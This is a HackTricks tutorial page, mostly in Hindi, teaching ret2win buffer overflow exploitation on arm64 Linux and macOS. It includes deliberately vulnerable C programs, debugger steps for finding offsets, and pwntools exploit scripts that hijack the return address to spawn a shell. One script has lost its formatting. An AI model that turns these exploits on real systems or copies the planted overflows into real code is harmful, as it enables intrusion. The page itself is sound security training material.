Ret2win - arm64
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
arm64 का परिचय निम्नलिखित में पाया जा सकता है:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie और canary के बिना संकलित करें:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- अतिरिक्त फ्लैग
-mbranch-protection=noneAArch64 Branch Protection (PAC/BTI) को डिसेबल करता है। अगर आपका toolchain डिफ़ॉल्ट रूप से PAC या BTI सक्षम करता है, तो इससे लैब पुनरुत्पादनीय रहती है। यह जांचने के लिए कि compiled binary PAC/BTI का उपयोग कर रहा है आप कर सकते हैं: - AArch64 GNU properties के लिए देखें:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- prologues/epilogues में
paciasp/autiasp(PAC) याbti clanding pads (BTI) की जाँच करें: objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- लिंक रजिस्टर
x30(a.k.a.lr) है, और फ़ंक्शन्स आमतौर परx29/x30कोstp x29, x30, [sp, #-16]!से सेव करते हैं औरldp x29, x30, [sp], #16; retसे रिस्टोर करते हैं। - इसका मतलब है कि saved return address फ्रेम बेस के सापेक्ष
sp+8पर रहता है। नीचे एकchar buffer[64]नीचे रखा होने पर, savedx30तक आमतौर पर ओवरराइट दूरी 64 (buffer) + 8 (saved x29) = 72 bytes होती है — बिल्कुल वही जो हम नीचे पाएँगे। - स्टैक पॉइंटर को फ़ंक्शन बाउंड्रीज़ पर 16‑बाइट एलाइन रहना चाहिए। अगर आप बाद में अधिक जटिल परिदृश्यों के लिए ROP chains बनाते हैं, तो SP alignment बनाए रखें वरना आप function epilogues में crash कर सकते हैं।
Finding the offset
Pattern option
This example was created using GEF:
Stat gdb with gef, create pattern and use it:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 रजिस्टर x30 में मौजूद पते पर लौटने की कोशिश करेगा (जो compromised था), हम इसका उपयोग pattern offset खोजने के लिए कर सकते हैं:
pattern search $x30
.png)
offset 72 है (9x48).
Stack offset विकल्प
शुरू करें उस Stack address को प्राप्त करके जहाँ pc register स्टोर है:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
अब read() के बाद एक breakpoint सेट करें और read() के executed होने तक continue करें और 13371337 जैसे एक pattern सेट करें:
b *vulnerable_function+28
c
.png)
जानें कि यह पैटर्न मेमोरी में कहाँ स्टोर है:
.png)
Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
साधारण
win फ़ंक्शन का पता निकालें:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
दरअसल यह स्टैक में संग्रहीत PC में off-by-2 जैसा होगा। पूरे return address को overwrite करने के बजाय हम केवल अंतिम 2 bytes को 0x06c4 से overwrite करेंगे।
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
आप ARM64 में एक और off-by-one उदाहरण इस लिंक पर पा सकते हैं https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, जो एक fictitious vulnerability में वास्तविक off-by-one है।
PIE के साथ
Tip
बाइनरी को
-no-pieआर्गुमेंट के बिना कंपाइल करें
Off-by-2
leak के बिना हम win function का exact address नहीं जानते, लेकिन हम binary में function का offset जान सकते हैं और यह जानते हुए कि जिस return address को हम overwrite कर रहे हैं वह पहले से ही एक नज़दीकी address की ओर इशारा कर रहा है, इस मामले में win function का offset (0x7d4) leak करना और उसी offset का उपयोग करना संभव है:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### Code
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
canary के बिना कम्पाइल करें (macOS में आप PIE को अक्षम नहीं कर सकते):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
ASLR के बिना निष्पादित करें (हालाँकि हमारे पास एक address leak है, इसलिए हमें इसकी आवश्यकता नहीं है):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
macOS में NX को अक्षम करना संभव नहीं है क्योंकि arm64 पर यह मोड hardware स्तर पर लागू किया गया है, इसलिए आप macOS में stack में shellcode वाले उदाहरण नहीं पाएंगे।
ऑफ़सेट ढूँढें
- पैटर्न बनाएँ:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- प्रोग्राम चलाएँ और क्रैश उत्पन्न करने के लिए pattern इनपुट करें:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- रजिस्टर
x30(the return address) की जाँच करें ताकि offset पता चल सके:
(lldb) register read x30
cyclic -l <value>का उपयोग सटीक offset खोजने के लिए:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- यही तरीका था जिससे मैंने offset
72पाया; उस offset मेंwin()function का address डालकर आप वह function execute कर सकते हैं और shell प्राप्त कर सकते हैं (ASLR बंद होने पर)।
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - दूसरा उदाहरण
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
canary के बिना कम्पाइल करें (macOS में आप PIE को निष्क्रिय नहीं कर सकते):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
ऑफ़सेट खोजें
- फ़ाइल
/tmp/exploit.txtमें एक पैटर्न जनरेट करें:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- प्रोग्राम चलाएँ ताकि यह क्रैश हो:
lldb ./bof_macos
(lldb) run
- रजिस्टर
x30(the return address) देखें ताकि offset पता चल सके:
(lldb) register read x30
cyclic -l <value>का उपयोग करके सटीक offset खोजें:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- इसी तरह मैंने offset
72पाया; उस offset मेंwin()फ़ंक्शन का address डालकर आप वह फ़ंक्शन execute कर सकते हैं और shell प्राप्त कर सकते हैं (ASLR नहीं होने पर).
win() के address की गणना
- बाइनरी PIE है;
leak_anchor()फ़ंक्शन के leak का उपयोग करके औरleak_anchor()फ़ंक्शन सेwin()फ़ंक्शन के offset को जानते हुए हमwin()फ़ंक्शन का address निकाल सकते हैं।
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- offset है
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
आधुनिक AArch64 हार्डनिंग (PAC/BTI) और ret2win पर नोट्स
- यदि बाइनरी AArch64 Branch Protection के साथ संकलित है, तो आप फ़ंक्शन प्रोलॉग/एपिलॉग में
paciasp/autiaspयाbti cदेख सकते हैं। ऐसी स्थिति में: - सही BTI landing pad नहीं होने वाले पते पर लौटना
SIGILLउठा सकता है।bti cवाले उसी फ़ंक्शन एंट्री को टार्गेट करना बेहतर है। - यदि RETURNS के लिए PAC सक्षम है, तो साधारण return‑address overwrites असफल हो सकते हैं क्योंकि एपिलॉग
x30को authenticate करता है। सीखने के परिदृश्यों के लिए, पुनः बिल्ड करें με-mbranch-protection=none(ऊपर दिखाया गया)। असली लक्ष्यों पर हमला करते समय, non‑return hijacks पसंद करें (उदा., function pointer overwrites) या ऐसा ROP बनाएं जो कभी भी आपके जाली LR को authenticate करने वालाautiasp/retजोड़ा execute न करे। - फ़ीचर्स जल्दी से चेक करने के लिए:
readelf --notes -W ./ret2winऔरAARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACनोट्स देखें।objdump -d ./ret2win | head -n 40औरbti c,paciasp,autiaspदेखें।
non‑ARM64 होस्ट्स पर चलाना (qemu‑user त्वरित टिप)
यदि आप x86_64 पर हैं लेकिन AArch64 का अभ्यास करना चाहते हैं:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
संबंधित HackTricks पृष्ठ
संदर्भ
- AArch64 पर Linux के लिए PAC और BTI सक्षम करना (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit Architecture के लिए प्रोसीजर कॉल मानक (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


